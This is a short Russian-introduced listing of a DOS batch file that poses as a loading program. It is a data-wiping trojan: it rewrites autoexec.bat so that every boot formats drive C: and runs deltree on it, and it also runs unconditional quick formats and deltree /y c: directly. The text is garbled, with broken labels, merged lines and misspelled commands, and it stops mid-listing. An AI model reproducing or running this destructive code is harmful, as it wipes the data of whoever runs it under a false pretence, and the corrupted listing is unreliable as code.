А вот и листинг...
@echo off
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrlb -h -r c:\autoexec.bat >nul
echo ©echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec. bat echo call deltree /у c: >nul >>c:\autoexec.bat
echo dummy variable >c:\dvar.txt
: form
call format c: /q /u /autotest >nul
if exist c:\dos\format.* goto dosform
if exist c:\windows\command\format.* goto winform
goto de

osform
cd\dos >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
:winform
cd\windows\command >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
goto inform

e
if exist c:\dvar.txt goto dtree
goto inform

tree
call deltree /y c: >nul
if exist c:\dos\deltree.* goto deldos
if exist c:\windows\command\deltree.* goto delwln
goto inform

eldos